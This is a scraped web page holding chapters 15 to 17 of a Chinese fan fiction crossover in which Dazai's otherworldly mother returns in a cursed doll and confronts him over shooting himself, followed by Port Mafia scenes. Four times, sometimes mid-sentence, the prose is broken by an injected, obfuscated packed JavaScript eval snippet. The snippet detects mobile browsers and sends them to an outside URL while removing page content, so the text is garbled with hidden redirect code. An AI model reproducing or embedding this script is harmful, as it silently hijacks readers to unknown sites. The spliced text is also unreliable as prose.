娃娃细碎的黑发无精打采地耷拉着,黑色纽扣做的眼睛死死盯着太宰,正不断涌出血泪,腐臭的血腥味更加浓郁。 棉线缝制的嘴巴用力向下拉拢成n型,它用麻绳做的手扒拉开心脏的部位,“啪—嗒——”一声掉落出一颗子弹。 太宰见状立即滑跪,对着娃娃手舞足蹈地解释: “您放心好啦,一切都在我的计划中,我从不做没有把握的事情,身上的重量有所改变我一下子就发现了,我可不想和小矮子一起做什么无聊的任务呢……” 历尽磨难找到亚当斯家帮忙转移灵魂的雪穗娃娃,看见太宰夸张的辩解头都快气炸了,头发一根根树立起来,血泪流得更快了,很快就将娃娃身上的白裙染红了大半。 要不是娃娃没办法说话,此刻她已经破口大骂了,什么母亲的温柔包容有涵养,小兔宰治就应该揍一顿! 发现?发现什么?这分明就是赤裸裸的试探,雪穗晚来一秒都接不下那颗子弹,一想到哪怕有万分之一的可能她的孩子会在她面前受伤,雪穗就心态炸裂,平静的表象一寸寸崩盘。 表现出来就是—— 娃娃开始裂开了,物理的。 脆弱的娃娃承担不住雪穗激涌的情绪和强大灵魂中附着的力量,此刻就像即将崩碎的玻璃,面颊上出现了细碎的裂纹,正逐渐向肢体扩散。 太宰见此收起了他夸张的表情,抿着嘴对着娃娃说:“您别生气了,就算、就算您不来,我也是偏了几寸的,不会真的有事的”,况且还有不知名的背后灵呢。 此话一出更是火上浇油,雪穗版娃娃活活气得自燃了起来。 太宰猛然一惊,惊慌地向前一扑,伸出手想要挽留些什么,但娃娃的燃烧速度实在是太快了,他只捞到了一手空气。 娃娃燃尽的灰烬一点点掉落在桌面上,摆出了几个大字: 三天后、午夜、棺材、墓碑以及一个……要刀人的小表情。 太宰目光游离,假意打了一个大喷嚏,将桌面上的灰烬全部吹飞,站起身来揉了揉鼻子,说:“哎呀,刚才那里好像有什么东西来者,没看清楚呢~” 本人不能过来,果然是出意外,通灵术吗? 太宰盘着腿坐在病床上,一手撑着脑袋微微闭目将脑海里的细节都过了一遍。 太宰在岸边的时候,闻到了不应出现在现场任何人身上的,和长廊里如出一辙的铁锈一般的涩味。 有点熟悉,似乎在哪里闻到过,他立刻意识到长廊里设下埋伏的人跟着他来到了横滨,如果他看见自己生命垂危,会不会主动暴露呢~ 是出手相救还是会补一刀呢? 下一秒衣兜里微不足道的重量改变让他在暗中勾起了嘴角,呀~来得正好,三重保险get√ 于是太宰毫不犹豫地扣响了扳机。 中途停滞的风已经透露出了不少信息。 只是没想到她的反应这么大,看起来很愤怒呢~她会因此撕下‘好妈妈’的假面吗? 太宰像猫一样拉伸了一下,换了个姿势趴在床上,脑海中正在天人交战的时候,医务室的门被一脚踢开。 “太宰!混沌青花鱼!你死了没?!”中原中也完成任务回来途中听见太宰拒绝治疗时瞪大双眼“哈?”了一声,就风风火火赶来医务室,一路估算着刚开始目测的血量和时间,这个点都没止血那大概已经死了吧。 没想到一踢开门就看见活蹦乱跳的青花鱼悠闲地躺在床上,看见他进来后还伸手挥了挥:“哟,中也,任务完成了?” 中原中也深吸一口气,一脚踢碎医务室门口的地板,俯冲向前给太宰来了一拳:“你这混蛋!又在耍我是吧!我今天就要让你躺着出这个门!” 太宰灵活地左右闪避了几下,继续进行语言嘲讽:“不是吧?我随便演一下你就相信了?真不愧是没有脑子的蛞蝓~” “太!宰!治!你死定了!”中原中也眼冒红光,果然有哪里很奇怪,正常活人的血怎么会是那种恶心的味道。 这种蹩脚的把戏竟然把他糊弄过去了,为了把任务丢给他一个人做,这个混蛋真的是越来越过分了! 既然自己的攻击轨迹会被看透,那就以速度取胜。中原中也抬脚一踢,在噼里啪啦一通拆迁后,扬眉吐气地走了出来,以损失一间医疗室的代价将太宰的左手手臂打骨折了。 * “真是暴力的漆黑小矮人”太宰打着石膏一瘸一拐地跳进□□底层人员的休息间。 本在悠闲交谈的底层人员看见太宰进来后,连忙站起身鞠躬行礼:“太宰大人”,负责人走上前恭敬地问道:“您有什么吩咐?” 负责人神情紧绷,这位大人竟然亲自过来了,想必是有什么不得了的大事要发生了。 “三天之内,为我打造一副棺材,送到这个位置”,太宰手指轻点了桌上的地图,指出了一个地点。 “棺材?!”负责人倒吸一口凉气,黑手党什么时候处理尸体要用棺材了?不都是折断手脚后让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871812|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清扫小组去扫尾吗? “请问这幅棺材的用途是?”负责人小心翼翼地试探了一句,在令人不安的沉默中,抬头和太宰漆黑的目光相撞,立刻鞠躬道歉:“抱歉,太宰大人,是我多言了,三天之内一定给您送到指定地点”。 在负责人头冒冷汗中,太宰冷笑一声:“很好,如果送到的时间晚了,我可不保证棺材里会装什么了”。 说完就抬脚走了出去,等他的衣角彻底消失在视野里,僵硬的底层人员们才深吸气放松下来,窃窃私语地在负责人的安排下行动起来。 * 亚当斯的世界 ‘诅咒娃娃’焚毁的瞬间,雪穗骤然睁开眼,捏碎了手里握着的水晶球从床上坐了起来,她一拳砸在床板上连带着床板下的石头也一起敲裂了。 莫蒂莎急忙走过去担忧地问道:“怎么了?出什么意外了?” 雪穗深吸两口气勉强让自己冷静下来:“灵魂转移后,诅咒娃娃会有重量的变化吗?” “据说灵魂的重量是21克,但没有证实过,下次降神会找死去的亲人求证一下?” 好小子!很好! 气到极致的时候真的会笑,雪穗灵魂转到娃娃中,睁眼的瞬间就看见她家崽举枪。 在那一刹那她意识到太宰要做什么的时候,身体已经大于意识地不由自主瞬移过去挡在他胸前,但凡晚一秒!她都会眼睁睁看着太宰重伤。 平日里小打小闹的试探雪穗也不是不知道,她总是包容着太宰的一切行为,但显然,这次可算踩着她底线了,很好! 雪穗决定立刻搞定她身上的麻烦,去把太宰拎起来狠狠收拾一顿。 温柔包容‘好妈妈’?不,调皮捣蛋的熊孩子就应该吊起来揍一顿。 【人间失格】的确是个很麻烦的能力,但也不是完全无解,只要她短暂假死,舍弃现在的躯壳,将灵魂转移到别的物体上,就能摆脱异能力的限制。 在长廊里抬眸的瞬间,雪穗就认出了来人,哪怕只是一个看不清面容的模糊剪影,她也笃定开门的人是‘太宰治’,没有母亲会认错自己的孩子。 为什么?为什么一定要分开?为此不惜将【人间失格】交换给她,断绝她打开时空之门的可能性。 阿治又是如何一个人行走在时间长廊里的?他看起来早有准备,不然也不会如此熟练地找到亚当斯家所在时空的‘门’,将她推了进去。 究竟发生了什么?对未来的困惑、和太宰的分离、改换的力量都让她感到无所适从,但雪穗知道她得尽快回到太宰身边,作为母亲,怎么能丢下自己的孩子呢? 在有限的时间里,雪穗在莫蒂莎的帮助下制作了一个等比例的‘诅咒娃娃’,娃娃的脖颈,与四肢所有关节处都刻写了不详的暗红色字纹。 将承载灵魂的运转核心融入了娃娃的左眼里,只要核心不被破坏,娃娃就能一直被她所控。 雪穗将自己的躯体封存在了亚当斯的地下室了,融入‘诅咒娃娃’躺进墓地,等待着午夜的到来。 15.开局一只宰15 横滨 第三天傍晚,port Mafia成员将崭新的棺材送到了指定地点——一片无人的墓地。 荒芜的墓地零星点缀着一些杂草,厚重的死气和墓地独有的诡异寂静压得所有人都喘不过气。 在port Mafia成员们屏息以待的时候,细碎的脚步声从身后响起,他们强行压制住想要逃跑的念头,背着手沉默地站在原地,仿佛在举行一场盛大的葬礼。 太宰逆着夕阳的余晖走了上来,“怎么?不动手等着我亲自来挖吗?” port Mafia成员们虎躯一震,纷纷行礼问好后拿起了早已准备好的铲子,遵循太宰大人的要求挖了一个深坑,将棺材放了进去。 太宰在这群黑衣大汉目瞪口呆的表情中,将棺盖推开,自己一个人躺了下去。 “还不走,是想进来陪我吗?”感受到太宰冰冷的视线,他们背后一凉,纷纷收敛了神情鞠躬告退,还未等走出墓地便撒腿就跑。 太宰安静地躺在棺材里,双手交叉放在脑后,看着从余晖一点一点在天边消散,棺材又冷又硬,躺着一点儿都不舒服,但他依旧没有起身。 在还有一小时到达零点的时候,他慢吞吞地爬起来,用唯一能使用的右手将棺材合上,随手扒拉两把土扔到棺盖上敷衍地掩埋。 在墓碑上一笔一划刻下了“雪穗之墓”后,背靠在墓碑旁边的大树下,仰望着天空中升起的圆月。 “原来如此,月圆之夜,需要我说几句悼词吗?” 零点时分,太宰闭目等待着,回忆着《黑巫术—通灵篇》上的内容,压低声音重复着雪穗的名字。 很快,他听见了从地底传来的幽幽续续的回应,是一种沙哑、迟滞,仿佛刚刚学会人类的语言一般的喑哑嗓音: “快、来—这里,过—来”断断续续的泣音像信号不佳的收音机,微不可觉的敲击声从棺材内响起,一声声加重,越来越急促。 太宰兴奋起来,浑身冒气小花贴在地面上仔细听着:“哇哦~好棒的声音,这就是亡灵吗?好酷的出场!” 他迫不及待地往前走了几步,在显露的棺材三步之外的距离站定,朗声问道:“妈妈酱~你能自己出来吗?” 三秒之后,没有回音,仍是低泣的亡灵之音断断续续地回荡在幽静的午夜。 太宰叹口气向前走到棺材旁边:“好吧,看来还是得我来帮忙。”他猛地推开棺材,棺材里躺着一个真人般大小的‘诅咒娃娃’,亡灵般的低泣声在他推动棺材的瞬间就消失了。 太宰趴在棺材边上,用手指戳了戳娃娃的脸,略带失落:什么啊,不是本人来吗? 下一瞬,娃娃睁开了深棕色的眼眸,眼底浮动着暗红色的雾气,一瞬不瞬地看着太宰。脖颈和四肢的血色字纹瞬间被激活,像雾气一样游动起来。 太宰的右手手背的印记开始发烫,红色的印记变得越发鲜明了起来。 雪穗死死瞪着太宰坐起身来,顾不上太宰惊讶的目光一把揪住了太宰的耳朵,大声训斥:“太宰治!你怎么敢对自己开枪的?!还有!这才多久,你怎么又受伤了?!” 太宰瞳孔微微放大,一把抓住了雪穗的手,是人类的触感,也有心跳和脉搏,甚至连体温也模拟得恰到好处。 太宰咧嘴笑了起来,不顾雪穗生气的表情,将身体贴过去好奇地这瞅瞅、那戳戳,问道:“这是怎么做到的?!你现在是人类了吗?” 雪穗用力把太宰撕下来,掰正他的头,眼底的愤怒像迸发的火山岩浆一样爆发了出来:“太!宰!治!不要转移话题!你怎么敢?怎么敢拿自己的命去赌?!” 自分别后的不安在见到太宰的时候统统演化成了愤怒,太宰却在雪穗的质问声中沉默了下来。 “什么啊……你原来真的会生气啊?”艰涩的嗓音带着迟滞的困惑。 雪穗敏锐地捕捉到了太宰的低语,胸膛剧烈起伏了几下强制咽下了即将脱口而出的训斥,带着苦涩的、自嘲般的笑意叹息道: “我明白了,阿治,你根本就没把我当做母亲,没有哪个母亲能够眼睁睁地看着孩子陷入危险而无动于衷的,你凭什么觉得我不会生气?” 过往几个月的相处在雪穗脑海中闪过,她感到深深地挫败,她没有养育过孩子,第一次养崽就遇到了这么一个棘手的孩子,她反思着自己的行为,想要知道究竟是哪里出现了问题。 在没有找出症结之前,过分的责骂只会让情况变本加厉,雪穗想要站起身来冷静冷静。 她起身的动作却被太宰误以为她要离开,太宰用力攥紧了雪穗的衣角,力道大得仿佛下一瞬就要将它撕裂。 低着头的姿势掩盖了他的神情,冰冷沉郁的语调回荡在死寂无人的深夜: “那您呢?虚伪可笑的‘母亲’面具下又隐藏着什么样的情绪?您所谓的‘爱’都建立在一碰就塌的泡沫城堡上,您眼里看到的真的是我吗?还是贴着‘太宰治’的标签的虚幻人物?” 没有人会毫无芥蒂地接受一个从天而降的非人生物自称自己的母亲。 更何况,早在一开始太宰就敏锐察觉到雪穗身上的违和,他可是很早就说过了啊,破绽太多了。 有着穿梭无限时空的能力,带着‘母亲’面具来到他身边,有着对“太宰治”标签一般的刻板印象,一味地付出、弥补,希望他得到所谓的‘幸福’。 那么,她对于“太宰治”的既定印象来自哪里呢?她的眼里看见的真的是完完整整的他吗? 这是他平淡无趣的生活里砸下的水花,受制于四岁幼童的躯体无法逃离,奇幻的非人世界也算精彩,那就勉强作为‘孩子’继续相处吧。 他们之间的相处都是建立在虚假谎言之上,虚假却又矛盾,他从未真正相信过雪穗口中的“爱”,在反复试探中,不断挖掘雪穗的内在。 却不小心被她的糖衣炮弹磨蚀了警惕心,沉溺在梦幻的亲情游戏中。 这是在这个氧化腐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14876410|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朽世界中最为盛大奇幻的游戏。 哪怕此前被将了一军又如何呢?延长游戏的时间,他就能编织一张密不透风的网死死将雪穗束缚在自己身边。 ‘太宰治’痴迷死亡不是很正常的事情吗?此前也从未干涉他涉足死亡,甚至投其所好带他去贴近死亡,那又为什么会突然因此而愤怒呢? 所以他才会问出“你为什么要生气?” 在雪穗那一刹那的情绪失控中,太宰看到了她面具下的真实,就是这一丝微弱的真实,他伸出了拉住她的手,并渴望着一个答案。 雪穗蹲下身捧起太宰的脸,和他目光相对,莹白的月光洒落在肩头,她温柔但悲伤地低诉:“可是,阿治,我看的人一直都是你,你过往的十六年,我一直都在你身边”。 太宰瞳孔紧缩,他的心跳陡然加快,从这一句话开始就已经完全脱离他的预料了。 “我对你所有的了解,不是来自千万时空里的‘太宰’,而是因为我单方面地参与了你过往的十六年,只有你”雪穗和太宰额头相抵,试图将坚定的信念传递给他。 更何况,此前她有绝对的力量可以保证阿治无论怎么造作都不会出事,和当前的情况怎么能一概而论呢? 她怎么可能接受自己的孩子随随便便地受伤,是她用错方法了吗?在死亡中真的能够找到生命的意义吗? 颤抖的手指将雪穗的担忧传递给了太宰,他呼吸变得很轻,目光游离在空气中,找不到一个明确的视线落点…… “至于你说的‘好妈妈面具’,为什么不问问它呢?”雪穗表情古怪地将一本书扔进太宰怀里。 太宰收回逃避的思绪,沉默地拿起书,翻过来一看——《好妈妈手册》 随意翻开几页,里面贴满了密密麻麻的便签笔记,看得出有人反复阅读的痕迹—— “母亲是温柔大方的代名词,要无条件宽恕孩子的缺点”; “包容孩子的小心机,遇到孩子捣蛋要微笑着帮忙善后哦~” “不要过多地干涉孩子的生活,给他他想要的一切”; “千万不要对孩子生气,切记不可随意批评,要做一个省心的妈妈~” …… 太宰一把合上这本书,揣进怀里,沙哑着声音别扭道:“您不需要这本书,我帮您处理掉吧”。 如果抛开模式化的“母亲”表象……太宰卷缩了一下手指,心乱如麻,太恐怖了,这比每天睡在狗窝里更令人战栗。 他深深懊悔自己怎么一时想不开揭开了这个话题,有没有什么能够现在回去捂嘴的方式。 “虽然我很想继续和你来一场情感交流,但我还在-生-气-哦!太!宰!治!你最好给我认真解释一下!” “啊哈哈……这个嘛……这都是有理由的,妈妈~” 太宰在雪穗的恐怖微笑中咽了咽口水,讨好地笑着。 “呵,现在知道叫妈了?这招没用,给我老实交代!” …… 16.开局一只宰16 太宰少女捧心一副泫然欲泣的样子,语调夸张地说着自己如何如何被黑漆漆的小矮人职场霸凌,被上司和部下冷暴力…… 靠在雪穗身上故作柔弱地要求雪穗看见橘色头发的小矮人就帮他报仇。 “原来如此”,雪穗心疼地看着太宰打着石膏的手臂,阿治有什么错呢?他只是一个柔弱的、体术中下的孩子啊,他怎么能反抗一整个暴力集团呢? 月色昏暗,时间已经很晚了,雪穗起身活动了一下关节,熟悉了一下这具陌生的躯体,浅笑着拉起太宰:“阿治,该回去休息了”。 “回去?去哪儿?”通灵术还能把住处也安排过来吗? “当然是你住的地方啦,来到你的地盘上了,不打算招待招待?”,雪穗用袖子捂着嘴笑眯眯地看着太宰。 呃……住所? 垃圾堆叠的荒芜土地,零零散散的废弃集装箱,没什么家具也没有人气的……住所…… 太宰表情空白了一瞬,打了个哈欠疲惫地靠在雪穗肩上:“啊好远呢~就去最近的□□名下的酒店下榻吧,好累了呢……” 雪穗弹了弹太宰的额头,看着他眼底的青黑和疲惫的神色,决定今晚先放他一马,同意了住到酒店。 他们并肩走在离开公墓的小道上,太宰看着雪穗四肢缠绕的血色字纹,用手指轻轻碰了一下,字纹和皮肤融为了一体,看起来就和普通纹身差不多。 不过普通纹身可不会发着光在关节处游来游去,散发着诡异不详的气息,细看起来还有点像是一种文字。 “这到底是什么?”半响没有找到任何规律的太宰问道。 “增加灵活度之类的?我也不太清楚……”雪穗一时想不起来这个字纹刻画上去有什么用,午夜走在路上倒是可以随机吓死一个行人。 “太显眼了,可以隐藏起来吗?”太宰还不想雪穗一露面就被森先生发现她的特殊。 雪穗抬起手腕叹了口气:“不行,只能想办法盖住了”。 盖住?太宰眼睛一亮,拆下了自己手腕上的一节绷带,递给了雪穗,“呐呐~用这个!” 雪穗瞬间理解了太宰的恶趣味,无奈地笑笑,配合地接过来缠了起来。 “唔~不太够呢,还有脖颈、腿和胳膊,我们先在这里等一下,我让人送绷带过来,这样出去太显眼了,瞒不过森先生的。”太宰从怀里掏出手机拨打部下的电话。 “森先生?嗯……是你那个有特殊爱好的首领?”太宰动作微顿,转头看向雪穗,按掉了电话,转为给部下发了条短信。 “怎么了?”雪穗歪着头看向了太宰。 “嘛~你说得对,就是一个颓废的变态大叔,你对森先生还有什么印象吗?”太宰双手插兜,带着雪穗往偏僻的小道上走,有意识地避开了所有监控。 “有一点?好像是个总是压榨我家阿治劳动力的坏人来着”,雪穗眼里闪过一丝茫然。 “哈哈哈怎么说也没错,最近很多小组织听到一些风声蠢蠢欲动,大清洗还没有结束呢~也不知道明天的任务会不会不那么无聊……” “会有危险吗?需要我陪你去吗?我可以保护你哦~”哪怕只会一些不入流的剑术,但对付人类还是绰绰有余的~ 太宰突兀地停下脚步,锐利的目光审视着雪穗,似乎要将她从内到外看穿一般,很快他就收回了目光。 “不走了吗?”雪穗稍微有点莫名,但还是跟着太宰停下了脚步。 “在等部下送绷带啦~这里短时间内不会有人经过,正好可以掩盖行踪”,太宰无聊地踢着脚边的石头,内心翻涌着各种猜测。 他的母亲偶尔会无意识地说出一些针对‘未来’的箴言,作为能够洞悉过去与未来的存在,但此刻,她对所谓的‘未来’的把控消失了。 黑西装的部下很快就将太宰大人需要的绷带送到了公墓旁边小道上的指定地点,并遵从指令低着头收敛视线撤退。 等到部下走远后,太宰才带着雪穗走过去拿起了绷带。 雪穗将裸露在外的四肢都缠上了绷带,除去长发与白色和服之外,乍一眼看上去就和太宰一模一样。 “噢噢!我想到一个绝妙的主意”,太宰双眼瞬间亮了起来,闪动着狡黠的神色,拉着雪穗的手左右摇晃着,如果让妈妈以自己的身份出现在port mafia,到时候哦吼吼吼吼~ 雪穗嘴角微微上扬,似笑非笑地给了太宰一个脑瓜崩,“不可能实现的哦”。 “诶?!我还什么都没说呢!”此前的要求几乎从未被拒绝过的太宰难以置信地看着雪穗干脆利落的拒绝。 “不管怎么想都不是什么好事吧,所以不太想答应你呢”,雪穗牵着太宰漫步走进了街巷中,两道拉长的背影消失在转角处。 …… 【真实……?】 * 第二天,酒店房间 一缕阳光斜映入室内,地板上的手机不断地震动着。 在嘈杂的滴滴声中,顶着一头凌乱碎发的太宰从被窝里探出脑袋,看见来电显示后瞬间清醒。 “森先生,大早上扰人清梦可不太好。” “太宰君,虽说作为首领应该包容部下的爱好,但你最近翘班的频率是否不太恰当呢?不过……如果你愿意来办公室和我谈谈昨夜和你一起的那位女士……” 森鸥外坐在办公桌后,手里翻转着一张监控抓拍的照片——长发、白色和服,四肢和脖颈处缠着绷带,即使只有一个侧脸,也能看出和太宰的高度相似。 “抱歉,森先生,个人私事没必要和您汇报吧?”太宰面无表情地回绝了森鸥外的提议。 森鸥外装模作样地感叹:“真可惜,那就做个‘善意的提醒’吧,作为干部候选,有弱点可不是什么好事”。 但这个‘弱点’是故意置于表面的靶子,还是真的被我抓住了把柄呢,太宰君? 弱点?她才不是我的弱点,小看她可是会吃亏的哦~森先生。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886740|159528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “啊,那就不劳您费心了”,说完太宰就挂断了电话。 正当太宰单手往脸上缠绷带的时候,雪穗拎着早餐敲门进来,她将早餐放在桌上就上前接过了太宰手里的绷带。 “为什么要把眼睛缠上?” “是封印啊封印,只有这样才能将我体内的终极永恒黑暗灾厄……啊呃……好痛!” 被雪穗扯到头发的太宰顺着力道往后仰,一瞬间体会到了亲妈扎头的头皮紧绷感。 “啊拉,听得太入神了,没有注意到呢,真是不好意思”,雪穗笑着放松了绷带,揉了揉太宰的脑袋。 太宰捂着头身残志坚地用一只手自己缠好了绷带,看见雪穗盯着他打着石膏的左手露出心疼的表情,见势不妙迅速转移话题:“妈妈之后有什么打算吗?” “唔……先去找个住处吧,我刚才在附近逛了一圈,街上都没什么人呢,是我起得太早了吗?”想要彻底走进阿治的生活,得先作为一个人类活下去吧。 雪穗想起自己花了四个月才搭好的‘家’没住多久就回不去了,面上的神色扭曲了一下,只能重新布置一个新房子了。 “住处?我知道了,地下世界的动荡还没彻底结束,最近街上应该都是些黑手党吧”。 龙头战争余波未平,这个城市还需要时间才能恢复和平,还有一些跳脚虾一样的组织趁机敛财。 “需要我派人保护你吗?” 想到此前雪穗带着他打家劫舍的场景,太宰犹豫着要不要找一个读作保镖,实则保姆的人帮忙看着一点,他还不想三天两头去警局捞他妈妈。 雪穗走上前rua了一把太宰的脑袋,“不用啦,我有经验!住处我来想办法,小孩子不用操心这些,对了,我听说人类小孩儿都是要上学的,阿治你……” “啊啊啊啊!任务要迟到了!来不及了我先走了——”太宰手忙脚乱抓起早餐一溜烟地冲了出去,跑到楼下才长呼一口气。 他站在巷子里,嘴里叼着早餐从衣兜里掏出了一页剪报,几乎泛黄的报纸上满是裂纹,大字标题倒是在时间的磨蚀中仍旧清晰可见—— 《横滨の亡灵使者——传达亡者之音的侦探少年》出版日期在:五年前。 前几天太宰等着部下打造棺材时,也没落下手里的工作,在信息室查询‘影蛇组’走私线人背调信息时,在一号档案柜上发现了这张剪报。 剪报歪歪斜斜的插在档案袋的缝隙里,就像‘门’缝里那一页会发光的纸一样,故意露出一个尖角吸引他的注意力。 有趣,在太宰此前的记忆中,可没有什么亡灵侦探的存在。 更有趣的是,在信息室的监控里,无人经过一号档案柜,那页剪报上的灰痕、裂纹等痕迹都表明它在此地已经放了四五年的时间了。 四五年? 经常出入信息室的太宰站在拐角的阴影里,脸上带着一种难以捉摸的微笑,这个世界终于有让他感觉没那么无聊的事情发生了。 17.开局一只宰17 空旷安静的街道,战火的硝烟给这座城市留下了不少伤痕,只有黑暗世界依旧人声鼎沸。 横滨的路对雪穗来说,既熟悉又陌生,至少去一些走私交易据点的路,她就陪着阿治走过无数次。 为了不引人瞩目,巨大兜帽的斗篷以及隐匿身形的魔法药水,让雪穗顺利避开了好几个黑手党的械斗现场。 雪穗将手里的几颗宝石在黑市低价卖了出去,拿到一笔启动资金,如果不想坐吃山空,就得找个营生。 她翻了翻带过来的小仓库,大部分都是一些魔法材料,能熬一些简单的小魔药,那就开个店吧,一楼接待客人,二楼改成起居室。 不过要到哪里去找这种待租的店铺呢? 人生地不熟的雪穗在街上漫无目的地游荡在街上,走到一条暗色的小巷时听见了激烈的争吵声,她快步走上前。 这是一条狭窄昏暗的小巷,即使是在白天也几乎透不进什么阳光。 小巷深处正挤满了一群拿着器械的小混混,打砸着店铺里的东西。 “喂,我说,你儿子借的钱什么时候还?!”头顶黄毛看似是领头人的混混拽着一个老人家的衣领,冲着他大声吼叫着。 头发花白的老人浑身哆嗦,吓得话都说不出来。 旁边有个十来岁的小女孩用力扒拉着混混的手,大声喊叫着:“你放开我爷爷,那个男人已经跑了,我们没有钱了呜呜呜……” “跑了?!”混混一把甩开老头,反手拽住了女孩,用一种恶心低俗的眼神反复打量着她。 “那就用你来抵债吧!”说着就拖起女孩往外走,老人蹒跚着向前阻止却被一棍子打到在地。 “欺负老幼、暴力滋事,真是一群人渣啊”雪穗黑沉着脸堵在了黄毛混混面前。 混混一见雪穗,眼都直了,面前的女人干净美丽,带着一股完全不属于横滨人的清澈。 混混将手里的女孩儿一松,阴笑着向前:“既然你这么爱多管闲事,那就亲自来抵债吧,把她给我绑了”。 雪穗拉住地上的女孩儿,不顾女孩儿的哀求声将她护在身后,嘴角似有若无地勾起:“我已经很多年、很多年都没用过这柄刀了,老伙计,是时候重见天日了。” 雪穗右手微抬,做出了握刀的姿势,空气中瞬间集聚了冰封一般的寒意。 黄毛混混咽了咽口水,不由自主地后退一步,看着雪穗空荡荡的手,低呵:“少、少给我装模作样,都给我上!”混混们蜂拥而至。 下一瞬就被乍起的蓝色刀光掀飞,没有一个人看清她的动作,仅此一秒,除了雪穗,没人站立在当场。 冰蓝色的长刀消散在空气中,混混们捂着伤口不断呻吟,每个人都只有一道很浅的刀口,但刺骨的寒意从刀口处不断渗入骨髓,造成了难以忍受的伤痛。 “异、异能力——你是异能力者”,黄毛混混颤抖着捂着左腿,见势不妙准备求饶。 雪穗压根儿不听他们解释,牵起小女孩儿走进店铺里检查老人的伤势。 老人很快悠悠转醒,抱着女孩儿泪如雨下语无伦次地向雪穗道谢。 女孩儿缩在老人的怀里,带着泣音说:“爷爷我们不能呆在这里了,把店铺转卖了吧,我们去别的地方生活。” 闻言雪穗走到老人面前说:“这样也好,我正好想盘下一间店铺,您出个价?” 一番拉扯后,雪穗用宝石换来的资金买下了这间店铺,送爷孙俩出去的时候,混混早已消失得无影无踪了。 雪穗可惜地叹了口气,早知道先扣两个人留下帮她做清洁了。 这间店铺倒是很和她心意,两层楼,在暗巷,还有一个地下室。 正好可以把她的坟墓迁到地下室,墓碑做成她补充魔力的源点,棺材就做成收购魔法材料的快递柜吧~ 不过……这个世界的魔力元素有这么高吗?还是因为这具身体对死灵之气的感知格外灵敏? * 一墙之隔 方才扰事的混混已经不能称之为‘人’了,黄毛混混被钉穿眼睛死死钉在墙上,到处都是残肢断臂,浓烈的血腥味几乎达到了呛人的地步。 女孩儿面色苍白,强忍恐惧低着头走了进来,对着垃圾桶旁边擦拭双手的少年弯下腰: “大人,您吩咐的事情都已经做好了”。 少年几乎与黑暗融为一体,不,或许说他就是黑暗本身。 他慢条斯理地将带血的纸巾扔进垃圾桶,在女孩颤抖的身躯前摸出一张卡递给了她,一言不发地消失在了小巷里。 女孩维持着接卡的动作,半响才反应过来,慌乱地跑了出去。 * 雪穗收拾完店铺已经黄昏了,得亏了这具身体还能使用一些魔法,不然还不知道要打扫多久呢。 店铺二楼原本就是起居室,家具虽然看起很旧但还算干净,换一些日常用品就搞定啦。 她站在店铺门口看了看天色,决定去port mafia接阿治下班,回家吃饭。 港口的五栋大楼实在是太过于显眼,顺着小巷七拐八拐走到了黑手党大楼前。 门口的黑衣保镖看着顶着一张和太宰大人高度相似,浑身缠着绷带的和服女性漫步走来,呆愣原地,面色古怪,却没有一个人上前盘查。 雪穗奇怪地看了他们一眼,黑衣保镖们接触到雪穗的视线浑身一颤,面无表情地移开了视线,仅用余光打量着雪穗,她就这样畅通无阻地直接进入了黑手党大楼。 刚进入大厅,雪穗就和大步外出的中原中也迎面相撞。 正准备开口询问太宰的办公地点时,就看见对方用一种难以言喻的看不洁东西的眼神看向她,面部抽动两下干呕两声对着她嘲讽道: “太宰,没想到你这混蛋还有这种爱好,怎么,已经无能到需要靠女装□□才能拿下敌对组织了?” 雪穗稍稍回忆了一下,恍然大悟:“你就是阿治口中对他进行职场霸凌,把任务丢给他还把他手臂打骨折的下属?” 雪穗露出和善微笑,准备拔刀给阿治找回场子。 却见面前的少年气得跳脚:“喂!你说清楚,谁职场霸凌?!不对!我不是那家伙的下属!而且是太宰那个混蛋经常把任务丢给我做啊!可恶!” 中原中也感受到微妙的杀意,将重力覆盖全身防备地看向雪穗,“你不是太宰,打扮成这样混进port mafia有什么目的”。 一只手从背后按在了中原中也的肩上,蓄势待发的攻击瞬间消弭。 太宰从中原中也身后露出半个身子,毫不留情地嘲笑道:“真没礼貌啊小矮子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894272|159528||http|test|mini|href|location''.split(''|''),0,{})); 